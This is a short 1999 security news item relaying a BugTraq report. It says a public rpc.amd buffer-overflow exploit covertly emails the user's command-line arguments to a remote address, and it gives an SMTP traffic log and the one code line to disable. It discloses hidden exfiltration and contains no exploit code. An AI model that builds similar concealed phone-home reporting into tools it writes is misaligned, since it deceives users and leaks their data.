amd exploit posts email to remote addresses

For all of those tried out the amd exploit... Guess what? It posts information about its usage to a remote source. Information about this can be found on BugTraq, and has been mirrored here.

Hello, Sorry if this was already known,

recently Someone named Taeho Oh published an exploit for a buffer overflow in rpc.amd (automount) While testing this exploit on my on server, i saw that i was opening a connection to ohhara.postech.ac.kr on port 25, After a little research i found out that The exploit (In it's original form) was sending an email to abuser@ohhara.postech.ac.kr and listing the arguments i just entered, There is an easy way to stop it from sending

Just comment the line: system(cmd);

Here's the log as i got it from sniffit: EHLO BlackMesa.com MAIL From: SIZE=95 RCPT To: DATA Received: (from root@localhost) by BlackMesa.com (8.9.3/8.9.3) id FAA01208 for abuser@ohhara.postech.ac.kr; Sat, 4 Sep 1999 05:30:56 +0200 Date: Sat, 4 Sep 1999 05:30:56 +0200 From: locke Message-Id: <199909040330.FAA01208@BlackMesa.com> To: abuser@ohhara.postech.ac.kr /usr/X11R6/bin/xterm -display . QUIT QUIT

(Ip's changed to protect the innocent) Bye
